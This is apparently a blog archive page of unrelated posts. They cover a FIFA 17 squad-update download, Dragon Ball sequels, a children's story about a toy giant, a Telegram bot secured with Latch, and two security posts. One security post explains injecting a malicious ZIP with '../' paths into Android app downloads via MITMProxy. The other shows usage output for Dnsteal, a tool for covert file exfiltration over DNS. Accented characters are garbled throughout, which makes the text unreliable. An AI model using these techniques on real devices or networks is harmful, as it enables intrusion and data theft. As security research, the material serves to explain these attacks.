Friday, September 29, 2017
FIFA 17 Atualização de Elencos TU 07 SQUADS UPDATE 02 07 2017 LT e JTAG RGH – XBOX 360 Download
FIFA 17 Atualização de Elencos TU 07 SQUADS UPDATE 02 07 2017 LT e JTAG RGH – XBOX 360 Download


Sinopse:
Essa atualiza��o de FIFA 17, corrige nomes de alguns jogadores gen�ricos (conforme forem saindo mais atualiza��es, clubes que ainda n�o foram, seram corrigidos).


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Tem mais alguma série de Dragon Ball
Tem mais alguma série de Dragon Ball
Nessa postagem iremos discutir o fato, se existe continua��o a serie Dragon Ball GT. Qualquer obje��o escreva um coment�rio, se concordar com voc� colocarei nesta postagem ou farei outra postagem voltada ao tema.
Primeiro de tudo com rela��o a hist�ria criada por Akira Toriyama e o Mang� Dragon Ball a s�rie termina logo ap�s a saga Boo, no volume 42. (na contagem Japonesa)
O Dragon Ball GT no entanto, teve a supervis�o do criador de Dragon Ball, na qual a Saga Baby foi feita na programa��o certa, tendo sim uma redu��o como � dito nos 7 livros lan�ados em curiosidade a s�rie. Essa encarta��o ser� contada em outra postagem.
Entretanto a grande pergunta � a seguinte, tem continua��o ap�s Dragon Ball GT? Na verdade a �nica continua��o oficial da s�rie, seria o OVA lan�ado sobre a vida de Goku Jr., esse ova ser� tratado na mesma postagem da encarta��o da s�rie Dragon Ball GT.
O que acontece com Dragon Ball AF? Teremos essa s�rie em anime(na televis�o)? Oficialmente n�o teremos o anime Dragon Ball AF, existem v�rios mang�s com este t�tulo, entretanto os principais s�o os escrito por Toyble e Young Jijii que s�o dois japoneses. Esses dois t�tulos temos para download os volumes de tais em que tivemos upload do blog.
Teremos o Dragon Ball Hoshi escrito por Akira Toriyama? Tamb�m n�o por enquanto, nenhuma s�rie nova est� sendo escrita por Akira Toriyama. Esse Dragon Ball Hoshi � apenas um rumor que foi criado por causa do jogo de cartas Dragon Ball Hoshi. Por�m por enquanto n�o temos nada.
�nica continua��o que por enquanto teremos ser�o por Ovas, no ano de 2013 ser� lan�ado em Ova sobre a s�rie que logo ser� tratada aqui.

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Thursday, September 28, 2017
Hacking Android Ataques de Directory Trasversal con ficheros ZIP
Hacking Android Ataques de Directory Trasversal con ficheros ZIP
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| Figura 1: Hacking Android. Ataques de "Directory Trasversal" con ficheros ZIP |
Como se puede ver, la idea presentada por Ryan Welton es sencilla a la vez que interesante. Podemos generar un ZIP que extraiga los archivos subiendo varios niveles de la carpeta d�nde se encuentra. Esto ser�a f�cil a trav�s de la sintaxis �../�. Si el fichero ZIP no es gestionado de forma adecuada, esto podr�a permitirnos escribir fuera del directorio de extracci�n, es decir, escribir un archivo en otra ubicaci�n, incluida otra aplicaci�n. Esta t�cnica no es nueva, y en el a�o 2010, en el blog Seguridad Apple, ten�amos ejemplos de estos trucos en herramientas como ZipEg para MacOS.
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| Figura 2: Ejemplo de manipulaci�n de fichero ZIP con nombres ../../../../ |
C�mo se explic� en la charla de BlackHat muchas apps descargan recursos en formato ZIP, por lo que un atacante podr�a intentar colocarse en medio de una comunicaci�n en una red y obtener ventaja modificando el ZIP que se descarga la app leg�tima y sustituirlo por un ZIP malicioso. Hay que tener en cuenta siempre los permisos de la carpeta donde queremos ubicar los ficheros inyectados. Si las rutas son directorios de sistema, ser� necesario que la aplicaci�n o proceso que descomprima el fichero ZIP tenga permisos necesarios.
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| Figura 3: Remotely Abusing Android [PDF] |
En el ejemplo mostrado por Ryan Welton, �ste inyecta un fichero en unos de los ZIP que se descarga una aplicaci�n de la Google Play Store (�My Talking Tom�) y que luego se descomprime autom�ticamente al ejecutarse (desde el proceso �PackageInstaller� de Android) el fichero APK donde se encuentra la misma. De esta forma garantizamos que al menos en la carpeta donde se instala la aplicaci�n podemos inyectar nuestro c�digo modificado o incluso sustituir alguna librer�a o m�dulo del programa original como hemos mencionado antes.
Escenarios posibles
Los escenarios pueden ser distintos, por lo que vamos a ver distintos casos que se detallan en la charla de Ryan Welton:
� El caso base: Aplicaci�n vulnerable y que no comprueba nada en la extracci�n del ZIP. Ante este caso la escritura del archivo malicioso en la ubicaci�n deseada es casi segura.
� Comprobaci�n del hash del ZIP esperado: En algunas aplicaciones se descubri� que comprobaban el hash del ZIP a descargar, por lo que, si �ste era manipulado en su descarga, no se proced�a con la extracci�n.
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| Figura 4: Validaci�n de Hash en fichero descargado |
� Manifest: En algunas aplicaciones que comprobaban el hash del ZIP, se enviaba una especie de manifest, un archivo JSON, en el que se pod�a ver el hash esperado. Esta petici�n tambi�n se realizaba por HTTP, por lo que se pod�a llevar a cabo la modificaci�n previa de dicho JSON.Probando la inyecci�n
En primer lugar, hablamos del entorno que se ha montado para llevar a cabo esta prueba.
� M�quina con Kali Linux 2.El procedimiento llevado a cabo es utilizar MITMProxy para ver el tr�fico generado por la app. Nosotros hemos querido ejemplificar este hecho, para que se vea claro.
� MITMProxy versi�n 0.18.2 para la inyecci�n del ZIP manipulando el tr�fico.
� Dispositivo m�vil Android.
� 4 m�quinas virtuales de Android, entre las que est�n la 7.1, 6.0, 5.1.0 Y 4.4.1.
� BusyBox 1.22 en las m�quinas virtuales.
� BusyBox 1.26.2 en el dispositivo Android.
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| Figura 5: Interceptando el tr�fico con MITMProxy |
En el siguiente video se puede ver MITMProxy mostrando las peticiones que se realizan, y en el instante en el que se quiere descargar un ZIP de una ubicaci�n X, se lleva a cabo la modificaci�n o inyecci�n del ZIP malicioso por el leg�timo.
Viendo esto est� claro que se puede manipular de forma sencilla este tr�fico. Una vez la aplicaci�n descarga el archivo ZIP modificado, depende de los permisos o mecanismos de seguridad que se tengan para proteger la extracci�n y la ubicaci�n d�nde se pondr�n los ficheros que se encuentran en el interior del ZIP.
Para esta PoC hemos utilizado el c�digo publicado en la art�culo de We Live Security cambiando solamente el formato de decodificaci�n de UTF-8 a ISO-8859-1 y el �payload�. Este script de mitmproxy detecta el tr�fico de red, en concreto analiza las cabeceras GET de http/https y cuando detecta un fichero con los caracteres �PK� en los primeros dos bytes (cualquier fichero en formato ZIP) activa inyecci�n.
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| Figura 7: Script para hacer inyecci�n de ZIP en MITMProxy |
La rutina �response� se encarga de detectar los ficheros y tambi�n es aqu� donde definimos las rutas de inyecci�n. La rutina �injectIntoZip� por otro lado, se encarga de insertar el fichero con nuestro payload (en nuestro caso el fichero �zipizape�) dentro del fichero ZIP interceptado. En vez de utilizar directamente mitmproxy hemos optado por la versi�n mitmdump, para poder mostrar los mensajes de salida (�Found ZIP� y �Zip injected�) una vez se ha realizado la inyecci�n como puede observarse en la imagen anterior. El funcionamiento de mitmproxy y mitmdump es id�ntico, s�lo tienen como diferencia la informaci�n que muestran en pantalla.
Unzip en BusyBox
En todos los sistemas Android donde hemos realizado las pruebas se ha utilizado el programa �unzip� integrado en Busybox. �ste es b�sicamente un paquete de aplicaciones que re�ne las utilidades y comandos m�s comunes de UNIX (como por ejemplo el mencionado �unzip�) en un �nico fichero binario. Muchos sistemas GNU/Linux llevan por defecto una versi�n de este paquete debido a su gran utilidad.
La primera curiosidad que nos encontramos es que en funci�n de la versi�n de Busybox que se est� utilizando, la inyecci�n a trav�s del ZIP funciona o no lo hace. En estos videos se pueden ver las diferentes posibilidades, con la versi�n 1.22 y con la versi�n 1.26.2.
Interesante charla y concepto de inyecci�n a trav�s de los ficheros ZIP. La posibilidad de tener o aprovechar un Directory Traversal en sistemas como Android es un concepto interesante. Por supuesto, hay sistemas parcheados y otros muchos Android que est�n expuestos a este tipo de ataques o t�cnicas, y, l�gicamente, dependiendo de las medidas de seguridad que pongan las apps para descargar los ZIP ser�n vulnerables o no a estos ataques. Adem�s, estos trucos podr�an empezar a ser utilizados por el malware para Android para ocultarse mejor en el sistema.
Autores: Pablo Gonz�lez P�rez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y �Pentesting con Powershell�, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths y Fran Ramirez (@cyberhadesblog) escritor de libro "Microhistorias: an�cdotas y curiosidades de la historia de la inform�tica" e investigador en ElevenPaths
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Exfiltración de datos por DNS con Dnsteal
Exfiltración de datos por DNS con Dnsteal
Est� programado en Python y est� disponible en Github:
https://github.com/m57/dnsteal

Sus caracter�sticas principales son:
- Soporte para varios archivos
- Compresi�n Gzip soportada
- Soporta la personalizaci�n de subdominios
- Permite personalizar bytes por subdominio y la longitud del nombre de archivo
Uso:
# cd dnsteal/
# ./dnsteal.py -h
___ _ _ ___ _ _
| | | / __| |_ ___ __ _| |
| |) | .` __ _/ -_) _` | |
|___/|_|_|___/_______,_|_|v2.0
-- https://github.com/m57/dnsteal.git --
Stealthy file extraction via DNS requests
Usage: python ./dnsteal.py [listen_address] [options]
Options:
-z Unzip incoming files.
-v Verbose output.
-h This help menu
Advanced:
-b Bytes to send per subdomain (default = 57, max=63)
-s Number of data subdomains per request (default = 4, ie. $data.$data.$data.$data.$filename)
-f Length reserved for filename per request (default = 17)
$ python ./dnsteal.py -z 127.0.0.1
-------- Do not change the parameters unless you understand! --------
The query length cannot exceed 253 bytes. This is including the filename.
The subdomains lengths cannot exceed 63 bytes.
Advanced:
./dnsteal.py 127.0.0.1 -z -s 4 -b 57 -f 17 4 subdomains, 57 bytes => (57 * 4 = 232 bytes) + (4 * . = 236). Filename => 17 byte(s)
./dnsteal.py 127.0.0.1 -z -s 4 -b 55 -f 29 4 subdomains, 55 bytes => (55 * 4 = 220 bytes) + (4 * . = 224). Filename => 29 byte(s)
./dnsteal.py 127.0.0.1 -z -s 4 -b 63 -f 1 4 subdomains, 63 bytes => (62 * 4 = 248 bytes) + (4 * . = 252). Filename => 1 byte(s)
# Descarga: dnsteal.py
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Wednesday, September 27, 2017
Dragon Ball A Lenda de Shen Long PT PT 1986
Dragon Ball A Lenda de Shen Long PT PT 1986
| Dura��o: | 00:48:11 | |
| Idioma: | PT-PT | |
| Formato: | TVRIP 720x576 | |
| Tamanho: | 517MB | |
| Canal: | Panda Biggs | |
| Cr�ditos: | Paulo Mota | NazgulTuga |
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El Gigante de los Juguetes
El Gigante de los Juguetes
Saludos Malignos!
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| Figura 1: El Gigante de los Juguetes |
Parte I: La llegada del Drag�n Mat�as al Castillo del Rey Pap�
�rase una vez que se era, un d�a soleado en el Castillo del Rey Pap� cuando lleg� el Drag�n Mat�as volando. Ya eran viejos amigos, as� que el Drag�n Mat�as sab�a perfectamente c�mo aterrizar con sus grandes patas en la parte alta del Castillo del Rey Pap� - donde adem�s hab�a una piscina en la que pod�a refrescarse �. No era un castillo muy grande, pero definitivamente era un castillo, donde los pr�ncipes y las princesas pod�an jugar durante horas con todo tipo de juguetes.
El Drag�n Mat�as le pidi� ayuda al Rey Pap�. Un drag�n, amigo del Drag�n Mat�as � no el maloso Drag�n Juancho -, se hab�a clavado una astilla muy fina en el �culete� y estaba sufriendo.
- �Ya os he dicho muchas veces que cuando os com�is las moras no os sent�is cerca, que siempre hay zarzas y os pod�is pinchar el culete con ellas�, dijo el Rey Pap� con tono de rega�ina.El Rey Pap� y el Drag�n Mat�as se hab�an hecho amigos hace mucho tiempo cuando le hab�a pasado lo mismo al bueno de Mati-itas � que era como llamaban en la familia al Drag�n Matias - comiendo moras negras, que son las que m�s le gustaban. Ten�a la espina clavada en el cachete del culete y no se la pod�a quitar con sus cortas patas delanteras y sus grandes zarpas.
El Rey Pap� le quit� la espina, y desde entonces se hicieron grandes amigos. Y de vez en cuando, como en la historia de hoy, alg�n que otro drag�n distra�do se sienta sobre alguna zarza a comerse las dulces moras y se queda con una espinita en el culete. Y el Rey Pap� se la tiene que quitar. Era el quita-espinas-del-culete-de-dragones-oficial. M�s o menos. A cambio, el Drag�n Mat�as siempre le ayudaba y le defend�a del maloso Drag�n Juancho, que al final para eso est�n los amigos, para ayudarse.
Ese d�a, el Rey Pap� se ten�a que ir con el Drag�n Mat�as, as� que le pidi� a su madre, la Abuela Roncona, que se ocupara de cuidar de Chiquitina, Rapid�n, Cassandra y la beb� Asmara, los ni�os que estaban actualmente en el Castillo del Rey Pap�, pues no hab�a nadie m�s para ocuparse. Solo ser�an unas horas, mientras el Rey Pap� se iba a aliviar al pobre dragoncito de su dolor en el culete.
La mayor de todos los ni�os era Cassandra � que los d�as que estaba de mal humor todos la llamaban Pedorrina por una afici�n poco asociada a princesas -, despu�s estaba Rapid�n, que de mayor quer�a ser un caballero andante que corriendo m�s r�pido que nadie salvara a todos los buenos de todos los malos. Iba a ser un s�per-h�roe veloz, veloz.
Chiquitina ya no era la chiquitina de todos, pero la llamaban as� porque cuando naci� era tan peque�a, tan peque�a, tan peque�a que se ba�aba en un vaso de agua. Tanto, que el Rey Pap� casi se la bebe un d�a � pero esa es otra historia que otro d�a os contar� -.
Despu�s estaba Saritina, que a pesar de ser un beb� ya gustaba de viajar sola por el mundo y hab�a aprendido hasta a Chino �Por qu�? Pues porque por las noches no dorm�a y viv�a el doble de deprisa. Claro est�, tanto viajaba que, ese d�a, se encontraba de viaje y no estaba en el Castillo del Rey Pap�.
Por �ltimo, la m�s peque�ita de todos era la beb� Asmara, que a�n no se hab�a recuperado del susto de venir al mundo y no hab�a aprendido a hacer ruidos. No sab�a llorar, no sab�a re�r. Y adem�s, no hac�a falta, ya que con la cantidad de ruido que generaban Rapid�n, Cassandra y Chiquitina ya daba para todo el reino.
La Abuela Roncona les pidi� a los ni�os que se fueran a jugar a la Habitaci�n de la Diversi�n mientras el Rey Pap� estuviera fuera con el Drag�n Mat�as, y as� ella aprovechar�a para echarse una buena siesta� y roncar un ratito mientras regresaban.
El Drag�n Mat�as apareci� por la ventana de la Habitaci�n de la Diversi�n para despedirse de los ni�os, y para que se entretuvieran les dio un juguete nuevo. Los ni�os ten�an infinidad de juguetes en la Habitaci�n de la Diversi�n, pero el bueno de Mati-itas siempre les tra�a alg�n detallito. En esta ocasi�n les dio un tamborcito de dos membranas, con unas bolitas golpeadoras, de tal forma que al frotarlo con las manos las bolas hac�an sonar el tambor por los dos lados. Y sali� volando con el Rey Pap� a lomos, que se despidi� por la ventana.
- ��Adi�s!, �Pronto estamos de vuelta!�Pero como sucede muchas veces, algo que se hace para un bien, a veces genera un foco de conflicto y los ni�os, en lugar de estar felices, comenzaron a discutir por el nuevo juguete.
Parte II: La llegada del Gigante de los Juguetes
El tamborcito se convirti� en el coraz�n de una gran discusi�n entre Rapid�n, Cassandra y Chiquitina. Gritos, llantos, pellizcos en el culete, carreras, brincos y desorden del resto de los juguetes de la Habitaci�n de la Diversi�n. Ya no serv�a para nada la ingente cantidad de juguetes que ten�an en la habitaci�n, todo giraba en torno a qui�n pod�a jugar con el nuevo juguete que les hab�a regalado el Drag�n Mat�as.
La peque�a Asmara, sin hacer ning�n ruido, se limitaba mirar a un lado y a otro viendo el espect�culo, incapaz de entender qu� es lo que hac�a que los tres ni�os generasen tanto alboroto por un juguete cuando la Habitaci�n de la Diversi�n ten�a una cantidad enorme de ellos. Hab�a de todo para entretenerse, pero los ni�os discut�an por el nuevo tamborcito.
El ruido se hizo tan grande que se oy� por toda la comarca. Bueno, no toda la comarca. La Abuela Roncona segu�a durmiendo la siesta pl�cidamente ajena a todo lo que suced�a. El sonido de sus ronquidos durante a�os hab�a hecho que cualquier ruido que hubiera mientas ella estaba durmiendo no fuera escuchado, as� que ya pod�an estar cantando las canciones de La Kalabaza de Pippa sobre su cabeza, que no se iba a despertar. Ella segu�a a lo suyo sierra que te sierra �rboles.
Pero de repente� alguien golpe� en la puerta de la Habitaci�n de la Diversi�n. Fueron tres golpes secos y fuertes, espaciados entre s�:
- TOC. TOC. TOC.Los ni�os se quedaron perplejos, y miraron a la puerta sorprendidos. No esperaban a nadie. Y ni el Rey Pap�, ni el Drag�n Mat�as ni la Abuela Roncona hubieran llamado a la puerta de esa forma, as� que deb�a ser alguien distinto. Rapid�n, Chiquitina y Cassandra se miraron extra�ados y dijeron:
- ��Qui�n ser�?�, dijo Cassandra.
- �No lo s�, pero ser� por los ruidos�, dijo Rapid�n.
- ��Yo abro!�, dijo Chiquitina mientras iba corriendo a la puerta.Chiquitina era la m�s activa de todos, as� que siempre estaba pensando en qu� ocupar sus energ�as, y una carrera a la puerta para ser la primera en abrir era tan buena idea como cualquier otra cosa. Adem�s, ella siempre quer�a ser la primera en todo. Hasta en las cosas malas. Ella siempre, la n�mero 1.
Rapid�n acept� de buen grado el reto de Chiquitina y los dos corrieron hacia la puerta, abri�ndola al un�sono. La abrieron de par en par r�pidamente y se encontraron con que detr�s de la puerta hab�a un par de grandes botas. Y dentro de ellas, seg�n fueron mirando hacia arriba, un Gigante con un gran saco a la espalda apareci�. Era m�s grande que la propia puerta de la Habitaci�n de la Diversi�n.
Los ni�os se quedaron mirando con cara de sorpresa al Gigante y le preguntaron:
- ��Qui�n eres?�, dijo Chiquitina.
- �Soy el Gigante de los Juguetes�, respondi� el hombret�n.
- ��El Gigante de los Juguetes? �Nos traes m�s juguetes?�, dijo Rapid�n.
- �Ja, Ja, Ja. No, mi amigo. Ni mucho menos�, respondi� el Gigante de los Juguetes.
- ��No?, �entonces qu� quieres?�, dijo Cassandra.El Gigante de los Juguetes entr� a la desordenada Habitaci�n de la Diversi�n y mir� alrededor para deleitarse con el caos que reinaba entre tal montonera de juguetes de todo tipo. Vio a la peque�a Asmara y la dedico una moner�a con la mano al tiempo que la sonre�a. Luego mir� a los ni�os y les dijo:
- �Vuestro esc�ndalo ha sido tan grande que me he visto obligado a intervenir. Soy el Gigante de los Juguetes, y me llevo todos los juguetes de los ni�os que se portan mal para que aprendan a valorar lo que tienen. No queremos ni�os malcriados en este reino�, dijo el Gigante de los Juguetes.
- �Pero� yo quiero a mis juguetes, no puede llev�rselos�, dijo Cassandra.
- �S�, s� que puedo. Ten�is todos estos juguetes y sin embargo est�is discutiendo todo el rato, as� que eso significa que no est�is contentos con ellos. Por eso, como hago con los juguetes de todos los ni�os mal cridados, me los voy a llevar en mi saco�, explic� el Gigante de los Juguetes.Y comenz� a llenar su gran saco con todos los juegos que ten�an los ni�os en la Habitaci�n de la Diversi�n. Meti� los puzzles, las mu�ecas, los coches de carreras, los peluches, los juegos de construcci�n, las pelotas, los bolos, los juegos de maquillaje, los disfraces, etc�tera. Todos los juguetes de los ni�os cupieron dentro del enorme saco del Gigante de los Juguetes. Los ni�os estaban mirando sin poder cre�rselo.
- �Ya tengo todos vuestros juguetes, pero no ser� para siempre� por ahora. Pod�is venir a mi casa esta tarde con la lista de todos los juguetes que record�is que ten�is. Si sab�is qu� juguete es, lo ech�is de menos y pod�is decirme c�mo lo hab�is llamado, os lo devolver�. El resto de los juguetes que no sep�is que ten�is o c�mo se llama, se los regalar� a otros ni�os que los valoren m�s, y les haga m�s felices. Aqu� ten�is un mapa de c�mo llegar a mi casa, la Caba�a del Gigante de los Juguetes, para recogerlos�, dijo el Gigante de los Juguetes mientras le daba a Cassandra un peque�o mapa con la ubicaci�n de la Caba�a del Gigante de los Juguetes.Y sali� por la puerta, dejando a los ni�os en una Habitaci�n de la Diversi�n totalmente desolada. Sin juguetes. Sin juegos. Sin puzzles. Sin mu�ecas. Sin pelotas o coches de carreras. No hab�a ning�n juguete en la habitaci�n. Y los ni�os se sintieron verdaderamente tristes, ya no ten�an ninguno de los juguetes por los que discut�an habitualmente en la Habitaci�n de la Diversi�n, y todo estaba en silencio.
Parte III: La Caba�a del Gigante de los Juguetes
Los ni�os quer�an recuperar sus juguetes, pero para ello ten�an que ir a la Caba�a del Gigante de los Juguetes con la lista de todos sus juguetes, si no, se quedar�an sin ellos. �Se acordar�an de todos?
- �Chicos, necesitamos hacer la lista con todos los juguetes cuanto antes. Si no est�n aqu� cuando regrese el Rey Pap� con el Drag�n Mat�as, nos van a castigar de por vida�, dijo Cassandra.
- ��Hagamos tres listas con nuestros juguetes y vayamos a la Caba�a del Gigante de los Juguetes para recuperarlos cuanto antes!�, dijo Rapid�n.
- ��Vale!�, dijo Chiquitina, �� pero yo no s� escribir, as� que necesito ceras y l�pices de colores para dibujar�.Los tres ni�os, bajo la mirada atenta de Asmara, comenzaron a hacer memoria y escribir su lista. Comenzaron con sus juguetes m�s preciados, como Pepe, Pepita o Tiger � sus mu�ecos de apoyo -, luego con los que m�s jugaban, pero a medida que avanzaban en sus listas, les costaba m�s recordar todos los juguetes que ten�an.
Chiquitina dibujaba y dibujaba sin parar, y se re�a mientras lo hac�a. Cassandra, cada vez que recordaba un juguete era porque se acordaba de qui�n se lo regal�, o de c�mo jug� con �l, pero no estaba segura de si se estaba olvidando de alguno de ellos. Rapid�n, el m�s ordenado de los ni�os, utilizaba un sistema distinto. Iba mirando las estanter�as y los cajones donde guardaba sus juguetes para ir recordando qu� iba en cada sitio. Aun as�, alg�n sitio no le era f�cil de recordar a Rapid�n. No sab�a qu� juguete estaba all�.
A medida que avanz� el d�a, completaron su lista, y decidieron que ten�an que ir cuanto antes a por sus juguetes, o cuando llegaran a la Caba�a del Gigante de los Juguetes lo mismo ya hab�a regalado todos sus juguetes a otros ni�os, as� que urdieron un plan r�pido para ir cuanto antes.
Cassandra se tir� un pedete al lado de la puerta de la habitaci�n donde dorm�a la Abuela Roncona, y despu�s comenzaron a agitarla:
- ��Abuela Roncona, Abuela Roncona!, Asmara huele mal, hay que cambiarla�, dijo Chiquitina.La Abuela Roncona se despert� y empez� a sentir en su nariz el mal olor y dijo:
- �Uff, s�, que mal huele, voy a por ella�, mientras se incorporaba de la cama.Mientras que la Abuela Roncona iba a cambiar a Asmara, los tres ni�os aprovecharon para coger tres sacos vac�os de la habitaci�n de la ropa e irse hacia la Caba�a del Gigante de los Juguetes en el bosque.
A�n no era tarde, as� que no les cost� mucho seguir las indicaciones del mapa. Deb�an llegar al quinto �rbol, seguir por el camino de la derecha. Saltar por encima del tr�bol de cuatro hojas, cruzar bajo la sombra de tres grandes �rboles de grandes troncos morados, saludar a la Lechuza Madrugadora, vadear el r�o por el puente de una cuerda y bajar por la escalera de piedras, m�rmol y musgo hasta la entrada de la Caba�a del Gigante de los Juguetes. Todo muy sencillo y claro.
Cuando llegaron a la puerta de la Caba�a del Gigante de los Juguetes hab�a un gran cartel grabado en madera que dec�a:
Rapid�n se apresur� a llamar r�pidamente, c�mo si no, a la puerta con tres golpes� r�pidos.�Bienvenido a la Caba�a del Gigante de los Juguetes.�Sabes c�mo se llama tu juguete?�
- Toquitoquitoqui.Y la puerta se abri�. All� estaban las dos mismas botas que hab�an visto con anterioridad ese mismo d�a, con el mismo Gigante de los Juguetes dentro de ellas.
- ��Vaya!, si est�n aqu� Rapid�n, Chiquitina y Cassandra. Hab�is sido veloces en venir a por vuestros juguetes. Y lo m�s extra�o. Tambi�n hab�is sido silenciosos. Desde que sal� de vuestra Habitaci�n de la Diversi�n con todos vuestros juguetes no he escuchado ning�n grito, alboroto o ruido proveniente de all�. �Os sab�is el nombre de vuestros juguetes para que os los devuelva?�, dijo el Gigante de los Juguetes sin dejarles entrar en la caba�a.Los ni�os vieron que detr�s del Gigante de los Juguetes estaba su gran saco, a rebosar de todos los juegos, mu�ecos y juguetes en general que se hab�a llevado de su Habitaci�n de la Diversi�n, as� que comenzaron a decirle qu� juguetes ten�a cada uno.
Cassandra iba leyendo su lista deprisa. Rapid�n iba leyendo la suya m�s despacio que hab�a aprendido a leer hace no mucho. Chiquitina iba ense��ndole al Gigante de los Juguetes los dibujos que hab�a hecho, haciendo que �ste dedicara unos segundos a cada dibujo para entender bien a qu� juguete representaba cada uno de ellos.
Poco a poco, los sacos de los tres ni�os se fueron llenando de juguetes que conoc�an bien, y se fueron alegrando, pero el Gigante de los Juguetes no les dejaba ver si el saco que �l ten�a estaba muy lleno a�n o muy vac�o. Solo ve�an sus sacos llen�ndose.
Y lleg� el momento en que acabaron su lista, y el Gigante de los Juguetes les pregunt�:
- ��Alg�n juguete m�s?�Los ni�os se miraron entre s� y luego al Gigante de los Juguetes.
- �No nos acordamos de m�s juguetes�, dijo Cassandra.
- �Entonces est�n todos los que necesit�is�, dijo el Gigante de los Juguetes.Sonri� y cerr� la puerta tras de s�, dejando a los ni�os en el bosque listos para marchar. Se echaron el saco a la espalda y regresaron por el mismo camino que hab�an venido � saludando a la Lechuza Madrugadora � hacia la Habitaci�n de la Diversi�n en el Castillo del Rey Pap�.
Parte IV: Los Juguetes en la Habitaci�n de la Diversi�n
Cuando los ni�os llegaron al Castillo del Rey Pap� fueron directamente a la Habitaci�n de la Diversi�n, y pusieron todos los juguetes en su sitio, justo antes de que llegara la Abuela Roncona con una Asmara feliz y sonriente de ver a los ni�os juntos otra vez.
- �No s�, no echo en falta ning�n juguete, pero sin embargo la Habitaci�n de la Diversi�n parece como m�s vac�a, �no?�, dijo Cassandra.
- �A lo mejor es que como los hemos ordenado ahora ocupan menos�, dijo Rapid�n.Chiquitina no dijo nada, pues estaba jugando con Pepita, su mu�eca favorita. En ese momento lleg� el Drag�n Mat�as volando con el Rey Pap� subido a lomos, que salt� sobre el tejado para que el drag�n no tuviera que detenerse m�s. El Rey Pap�, baj� a la Habitaci�n de la Diversi�n.
- �Hola ni�os, �qu� tal lo hab�is pasado mientras estaba fuera?�, dijo el Rey Pap�.Chiquitina, Cassandra y Rapid�n dieron un beso al Rey Pap�, y �ste a su vez se lo dio a la Abuela Roncona y la beb� Asmar�, mientras le dec�an:
- �Todo muy bien, Rey Pap�, dijo Cassandra.
- �No hemos salido de la Habitaci�n de la Diversi�n a ning�n sitio�, dijo Rapid�n.
- �No, y por el bosque hemos ido de d�a�, dijo Chiquitina.El Rey Pap� sab�a que algo hab�a pasado, pero todo parec�a en regla, as� que les mand� a lavarse la cara y las manos para irse a cenar mientras �l se iba a cambiar. Todo parec�a en regla.
Cuando lleg� la noche, y todos los ni�os dorm�an, el Gigante de los Juguetes abri� la puerta de la habitaci�n de la beb� Asmara, que dorm�a pl�cidamente. �l se sonri�, y sac� de su saco un juguete. Era un tambor con dos membranas y dos bolas con un hilo que lo golpeaban. El Gigante de los Juguetes hab�a dibujado sobre las caras del tambor dos ni�as sonrientes, con lo que hab�a convertido al tambor en algo diferente. Lo coloc� en la cunita de la beb� Asmara y se fue despu�s de darle un beso en la frente.
A la ma�ana siguiente, todo el Castillo del Rey Pap� se despert� con dos sonidos extra�os. Por un lado un sonido de tambores que redoblaban:
- ToquiToq, ToquiToq, ToquiToq, ToquiToq, ToquiToq�.Por otro lado, la risa dulce, aguda y emocionante de la beb� Asmara que jugaba feliz en su habitaci�n con el nuevo juguete.
Y color�n colorado, este cuento, se ha acabado.
FIN.
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Tuesday, September 26, 2017
Facebook Pai dá nove tiros em Notebook por causa de rede social
Facebook Pai dá nove tiros em Notebook por causa de rede social
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Monday, September 25, 2017
Un bot de Telegram protegido con Latch en un Datacenter
Un bot de Telegram protegido con Latch en un Datacenter
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| Figura 1: Un bot de Telegram protegido por Latch en un Datacenter... |
Un bot de Telegram es un programa que se ejecuta en un sistema propio (un sistema del tipo C&C) y que realiza las acciones que el usuario le solicite a trav�s de mensajes, llamados �ordenes�, enviados desde la cuenta del mismo Telegram por chat y con en el siguiente formato: /help, /ping, /lo_que_se_desee_hacer. Ya hemos visto ejemplos en varios art�culos aqu�:
- Pi Guardian: Video-Vigilancia controlada por un bot de TelegramLos bots son una gran herramienta a la hora de querer difundir informaci�n entre miembros de un grupo de usuarios. Al utilizar Telegram como canal de comunicaci�n, se aprovecha del cifrado de la conexi�n del chat, y permite utilizar cuentas an�nimas, es decir sin la necesidad de identificar a los usuarios reales o a la organizaci�n que lo ha implementado. E incluso puedes seguir este blog "El lado del mal" por Telegram.
- Usar bots de Telegram para crear una botnet
- Controlar Sinfonier con un bot de Telegram
Todo hace pensar que es ideal entonces para administraciones remotas. Sin embargo, a pesar de las ventajas de este modelo, existe un gran desaf�o al momento de querer crear un bot que brinde acceso a datos o servicios sensibles de una organizaci�n porque, por defecto, no se permite autenticaci�n y autorizaci�n de usuarios. Es decir, dada ciertas condiciones, cualquier persona puede agregarse a un grupo y acceder a datos sensibles del mismo.
Una posible soluci�n ser�a no utilizar bots para manipular informaci�n confidencial y, si bien este acercamiento es cierto en la mayor�a de los escenarios, deber�amos plantearnos �qu� sucede si realmente queremos maximizar los beneficios y posibilidades que brindan los bots para ejecutar tareas sencillas y repetitivas (aunque a�n confidenciales)?
Un bot de Telegram protegido con Latch en un Datacenter
El equipo t�cnico del DataCenter de Telef�nica de Argentina est� compuesto por personas que se hacen este tipo de preguntas y que intentan buscarles respuestas, y por ello crearon un bot que permite agregar un m�todo de autenticaci�n y autorizaci�n robusto mediante la utilizaci�n de una herramienta conocida por los lectores de este blog: Latch.
La soluci�n se basa en integrar un middleware para sistemas internos - sistemas de monitoreo, medici�n de consumos energ�ticos, temperaturas, sistemas de ticketing, etc�tera - con un bot de Telegram, que pueda ser consultado desde los tel�fonos m�viles del personal que, previamente, debe acceder a ellos mediante Latch que actuar� como Segundo Factor de Autorizaci�n.
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| Figura 4: Configuraci�n de la app de Latch para controlar el bot de Telegram |
Las ventajas son muchas. Una vez que el usuario se haya autenticado y aprobado su acceso, puede ejecutar tareas directamente sobre los sistemas internos del CPD y de esta manera se puede automatizar y acelerar el tratamiento de tareas rutinarias y repetitivas, minimizar el tiempo que un operador debe pasar dentro del centro o frente a una consola, garantizar que todas estas tareas son realizadas por personal autorizado.
Como siempre, existe una primera fase de alta y validaci�n de usuarios que ser�n agregados al grupo de Telegram y luego se usa Latch para evitar transmitir datos que tienen cierto nivel de sensibilidad, de forma no autorizada. Si un usuario �cierra� su Latch, la aplicaci�n informa que �alguien� ha intentado acceder a su cuenta y se bloquea el acceso. El proceso de creaci�n de esta interesante implementaci�n, ser�a de la siguiente manera:
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| Figura 5: C�digo para integrar Latch en nuestro bot de Telegram |
